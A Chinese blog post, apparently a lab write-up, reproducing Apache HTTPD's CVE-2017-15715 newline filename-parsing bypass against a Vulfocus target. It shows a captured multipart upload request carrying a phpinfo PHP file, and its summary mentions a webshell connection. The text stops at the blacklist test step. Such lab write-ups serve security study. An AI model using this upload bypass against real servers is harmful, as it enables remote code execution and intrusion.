apache 文件上传 (CVE-2017-15715)漏洞复现

weixin_42675091

已于 2024-04-03 09:50:48 修改

阅读量2.5k

点赞数

文章标签： apache php 安全

于 2022-09-02 10:16:14 首次发布

本文链接：https://blog.csdn.net/weixin_42675091/article/details/126655838

版权

本文介绍了Apache HTTPD 2.4.0至2.4.29版本中存在的PHP后缀解析漏洞。该漏洞源于修复后缀名解析时的正则匹配问题，允许攻击者通过在PHP文件名中插入特定字符（如x0A）来绕过服务器安全策略。通过上传含有恶意PHP代码的文件并利用此漏洞，可以成功执行PHP代码。在测试过程中，通过修改文件名并访问相应URL，成功触发了漏洞并实现了菜刀连接。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

1.漏洞信息

Apache(音译为阿帕奇)是世界使用排名第一的Web服务器软件。它可以运行在几乎所有广泛使用的计算机平台上，由于其跨平台和安全性被广泛使用，是最流行的Web服务器端软件之一。此漏洞的出现是由于 apache 在修复第一个后缀名解析漏洞时，用正则来匹配后缀。在解析 php 时 xxx.php\x0A 将被按照 php 后缀进行解析，导致绕过一些服务器的安全策略。

漏洞影响版本：Apache HTTPD 2.4.0~2.4.29

2.开启漏洞靶场

3.打开页面为空白，直接抓包看，发现apache的版本存在此漏洞。

4.发送到repeater尝试修改方法为POST直接上传php文件,显示bad file，上传失败。

POST / HTTP/1.1
Host: vulfocus.fofa.so:50892 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------9552222486401230933854482358
Content-Length: 359
Connection: close
Upgrade-Insecure-Requests: 1

-----------------------------9552222486401230933854482358
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: application/octet-stream

<?php phpinfo(); ?>
-----------------------------9552222486401230933854482358
Content-Disposition: form-data; name="name"

1.php
-----------------------------9552222486401230933854482358--

5.尝试修改上传文件后缀名为1.php.xxx，上传成功，说明是php黑名单拦截。